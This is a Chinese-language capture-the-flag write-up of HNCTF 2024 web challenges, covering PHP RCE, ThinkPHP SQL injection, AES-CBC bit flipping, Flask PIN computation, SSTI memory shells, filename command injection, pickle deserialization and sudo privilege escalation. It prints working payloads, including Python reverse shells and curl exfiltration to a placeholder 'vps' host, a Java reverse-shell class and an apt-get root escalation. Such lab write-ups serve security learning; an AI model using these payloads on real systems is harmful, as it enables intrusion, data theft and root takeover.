HNCTF-web-wp

Please_RCE_Me

方法很多,我用的无参数RCE方法读的:

这个正则形同虚设,大写就绕了。

task=var_dump(scandir(dirname(chdir(dirname(getcwd())))));&flag=Please_give_me_flag

task=show_source(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))));&flag=Please_give_me_flag

task=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));&flag=Please_give_me_flag

多刷新几次,因为读文件是随机的:

ez_tp

thinkPHP3.2.3,网上搜是sql注入,出题人改了一点点,但源码debug里就找到了出题人测的payload,后面它删了....:

/thinkphp323/index.php/home//index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag 

flipPin

给了源码,审一下:

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json

key = 'lWPooMf0zO8wJVlhS5qR'


default_session = '{"admin": 1, "username": "admin"}'
key = get_random_bytes(AES.block_size)

def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    print(iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

print(key)
print(encrypt(default_session).decode())

session伪造套了个AES加密,开始不懂咋办,其实这是AES-CBC模式的字节反转攻击。H&NCTF 2024 web(部分题目) - Rxuxin - 博客园 (cnblogs.com)

AES CBC 翻转攻击是一种针对 AES 加密算法在 CBC (Cipher Block Chaining) 模式下的攻击方式。它利
用了 CBC 模式在处理相同的前缀时存在的弱点,攻击者可以通过修改密文的某些字节来改变明文的内容。
这里只需要将第10个字符从0变为1即可。因此,我们基于CBC bit flip原理,直接修改。 
import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:47943/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()

res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil})
print(res.text)

一个个开读,debug没关,随便乱输进debug就看到了app的位置,然后算pin就完事了:

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctfUser'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '161476828132492',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id      2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
    'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f'+'e14c228db48327d8096ed1201b0da6680d84ee9800e79aa7b0662212f3d72fa6'#  /proc/sys/kernel/random/boot_id + /proc/1/cpuset
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

环境变量拿下flag:

ezFlask

先聊聊预期解吧,是打入python的内存🐎:

也能这样

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

设一个模板注入,然后写内存马。

反弹shell ban了 -c,所以python bash sh nc这些基本寄了,curl反弹也不行,写文件也寄。

非预期让我大为震撼,确实牛子。

因为curl和反引号 ` 没ban,那么一套组合拳把源码都能扒下来:

cmd=__import__("os").system("curl vps:port?a=`RCE`")

记得base64中间用''隔开,

ls:

cmd=__import__("os").system("curl vps:port?a=`ba''se64 -w 0 app.py`")

base64转一下就完事了,可以看到黑名单:

关键生成flag源码:

那直接读这个/etc/jaygalf不就完了:(此处也可以grep+-rl+"flag{"+/etc直接读

GoJava

一个在线编译引擎,把java文件传上去,它会给你打个jar包让你下。

开始想看能不能直接编译的时候RCE,但是好像不行,dirsearch扫一手:

结果有robots.txt

打开一手,

访问main.go:

不让读。

那就下载zip:

package main

import (
    "io"
    "log"
    "mime/multipart"
    "net/http"
    "os"
    "strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
    // 设置路由
    http.HandleFunc("/gojava", compileJava)

    // 设置静态文件服务器
    fs := http.FileServer(http.Dir("."))
    http.Handle("/", fs)

    // 启动服务器
    log.Println("Server started on :80")
    log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
    for _, char := range filename {
        for _, blackChar := range blacklistChars {
            if char == blackChar {
                return true
            }
        }
    }
    return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
    // 检查请求方法是否为POST
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }

    // 解析multipart/form-data格式的表单数据
    err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
    if err != nil {
        http.Error(w, "Error parsing form", http.StatusInternalServerError)
        return
    }

    // 从表单中获取上传的文件
    file, handler, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Error retrieving file", http.StatusBadRequest)
        return
    }
    defer file.Close()

    if isFilenameBlacklisted(handler.Filename) {
        http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
        return
    }
    if !strings.HasSuffix(handler.Filename, ".java") {
        http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
        return
    }
    err = saveFile(file, "./upload/"+handler.Filename)
    if err != nil {
        http.Error(w, "Error saving file", http.StatusInternalServerError)
        return
    }
}

func saveFile(file multipart.File, filePath string) error {
    // 创建目标文件
    f, err := os.Create(filePath)
    if err != nil {
        return err
    }
    defer f.Close()

    // 将上传的文件内容复制到目标文件中
    _, err = io.Copy(f, file)
    if err != nil {
        return err
    }

    return nil
}

但这是旧版,显然filePath有RCE的地方,而且只限制了末尾是.java,直接上 || ,随便传个java尝试一手:

反弹shell失败了,然而其实这里用分号隔开,直接bash反弹shell就成功了。

走预期解吧,换个方式,POST发包看看有无回显:

这下ok了。

题目还说flag在root下,后面应该有一手提权,肯定不会这么轻松反弹shell然后suid打了。

读下文件,但是不能直接一段回显完,所以base64转一手:

a.java||curl -X POST -d a=`ls|base64 -w 0` vps:port||.java

有个main.go,直接读:

base64 -w 0 main.go
package main
 
import (
    "fmt"
    "io"
    "log"
    "math/rand"
    "mime/multipart"
    "net/http"
    "os"
    "os/exec"
    "path/filepath"
    "strconv"
    "strings"
    "time"
)
 
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
 
func main() {
    // 设置路由
    http.HandleFunc("/gojava", compileJava)
    http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)
 
    // 设置静态文件服务器
    fs := http.FileServer(http.Dir("."))
    http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // 检查请求的路径是否需要被禁止访问
        if isForbiddenPath(r.URL.Path) {
            http.Error(w, "Forbidden", http.StatusForbidden)
            return
        }
 
        // 否则,继续处理其他请求
        fs.ServeHTTP(w, r)
    }))
 
    // 启动服务器
    log.Println("Server started on :80")
    log.Fatal(http.ListenAndServe(":80", nil))
}
 
func isForbiddenPath(path string) bool {
    // 检查路径是否为某个特定文件或文件夹的路径
    // 这里可以根据你的需求进行设置
    forbiddenPaths := []string{
        "/main.go",
        "/upload/",
    }
 
    // 检查请求的路径是否与禁止访问的路径匹配
    for _, forbiddenPath := range forbiddenPaths {
        if strings.HasPrefix(path, forbiddenPath) {
            return true
        }
    }
 
    return false
}
 
func isFilenameBlacklisted(filename string) bool {
    for _, char := range filename {
        for _, blackChar := range blacklistChars {
            if char == blackChar {
                return true
            }
        }
    }
    return false
}
 
// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
    // 检查请求方法是否为POST
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }
 
    // 解析multipart/form-data格式的表单数据
    err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
    if err != nil {
        http.Error(w, "Error parsing form", http.StatusInternalServerError)
        return
    }
 
    // 从表单中获取上传的文件
    file, handler, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Error retrieving file", http.StatusBadRequest)
        return
    }
    defer file.Close()
 
    if isFilenameBlacklisted(handler.Filename) {
        http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
        return
    }
 
    // 检查文件扩展名是否为.java
    if !strings.HasSuffix(handler.Filename, ".java") {
        http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
        return
    }
 
    // 保存上传的文件至./upload文件夹
    err = saveFile(file, "./upload/"+handler.Filename)
    if err != nil {
        http.Error(w, "Error saving file", http.StatusInternalServerError)
        return
    }
 
    // 生成随机文件名
    rand.Seed(time.Now().UnixNano())
    randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"
 
    // 编译Java文件
    cmd := "javac ./upload/" + handler.Filename
    compileCmd := exec.Command("sh", "-c", cmd)
    //compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
    compileOutput, err := compileCmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
        return
    }
 
    // 将编译后的.class文件打包成.jar文件
    fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
    jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
    jarOutput, err := jarCmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
        return
    }
 
    // 返回编译后的.jar文件的下载链接
    fmt.Fprintf(w, "/final/%s", randomName)
}
 
// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
    // 创建目标文件
    f, err := os.Create(filePath)
    if err != nil {
        return err
    }
    defer f.Close()
 
    // 将上传的文件内容复制到目标文件中
    _, err = io.Copy(f, file)
    if err != nil {
        return err
    }
 
    return nil
}
 
func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
    jarFile := "./final/" + r.URL.Query().Get("jar")
 
    // 检查是否存在指定的.jar文件
    if !strings.HasSuffix(jarFile, ".jar") {
        http.Error(w, "Invalid jar file format", http.StatusBadRequest)
        return
    }
 
    if _, err := os.Stat(jarFile); os.IsNotExist(err) {
        http.Error(w, "Jar file not found", http.StatusNotFound)
        return
    }
 
    // 执行.jar文件
    cmd := exec.Command("java", "-jar", jarFile)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
        return
    }
 
    // 输出结果
    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

重点就是这个新路由/testExecYourJarOnServer:

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
    jarFile := "./final/" + r.URL.Query().Get("jar")
 
    // 检查是否存在指定的.jar文件
    if !strings.HasSuffix(jarFile, ".jar") {
        http.Error(w, "Invalid jar file format", http.StatusBadRequest)
        return
    }
 
    if _, err := os.Stat(jarFile); os.IsNotExist(err) {
        http.Error(w, "Jar file not found", http.StatusNotFound)
        return
    }
 
    // 执行.jar文件
    cmd := exec.Command("java", "-jar", jarFile)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
        return
    }
 
    // 输出结果
    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

拿了个jar然后直接exec运行了,这不妥妥RCE了,因为ban了很多,使用python反弹shell:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
 
public class Exp {
    public static void main(String[] args) {
        String[] cmd = { "python3", "-c",
                "import os,pty,socket;s=socket.socket();s.connect((\"vps\",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")" };
 
        ProcessBuilder processBuilder = new ProcessBuilder(cmd);
 
        try {
            Process process = processBuilder.start();
 
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
 
            int exitCode = process.waitFor();
            System.out.println("Exited with code: " + exitCode);
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

上传后拿到路径,用这个路由直接打,反弹shell成功:

/testExecYourJarOnServer?jar=290d2a69cbb374df.jar

找一通啥也没找到,根目录有个奇怪玩意,读一下:

想到前面说的root里的flag,suid提权看一手:

su和sudo可用,猜前面那个是密码,su登root,读flag一气呵成:

不错的题。

GPTS

这道是真不会了,反弹shell进去搜不动了....

感觉出题人是最近在打渗透,出得有点渗透风格的还是,争取下次搞个域渗透来打打hhhh

开局直接CVE-2024-31224,cookie直接打pickle:

python反弹shell,用bash包一个base64:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("vps",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
import base64
import pickle

def from_cookie_str(c):
    # Decode the base64-encoded string and unpickle it into a dictionary
    pickled_dict = base64.b64decode(c.encode("utf-8"))
    return pickle.loads(pickled_dict)

opcode=b'''cos
system
(S'bash -c "{echo,<python-base64反弹shell>}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)

改cookie,然后加载已保存:

但是牛魔的我第一次怎么把我自己的windows弹上去了,抽象:

不管了,直接开找,根目录啥都没有,环境变量也是。

找找用户能读啥:

find / -type f -user ctfgame -readable 2>/dev/null

读一手/var/mail/ctfgame:

拿到密码了,su登号:

但这个号能干啥?

suid提权搜一手:

开始看到ssh还以为可以ssh写公钥,但下面有个sudo可用。

sudo -l试试有啥命令能用:

能创号。

sudo adduser eddie -gid=0

换号:

这下我是root组了:

但是还读不了/root的文件,抽象

wp里说的是看看/etc/sudoers:

kobe可以用root权限下的apt-get,那我们再创个kobe的号给他覆盖了。(牢大肘死你)

上号直接apt-get提权读:

利用软件包管理器实现Linux提权 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"

游戏结束(真能套)。

进root开读:

奇怪的网站

前面的信息搜集难评,看官方的:

这里直接bash弹会报错(至少我遇到了):

搜了半天说是空格问题,但是怎么改都不行,估计还是编码问题。

但curl是可用的,那就curl反弹shell,然后找密码su提权一条龙:

遇到这个问题:

官方给了个解决方法:

/usr/bin/script -qc /bin/bash /dev/null

posted @ 2024-05-14 14:14  Eddie_Murphy  阅读(19)  评论(0编辑  收藏  举报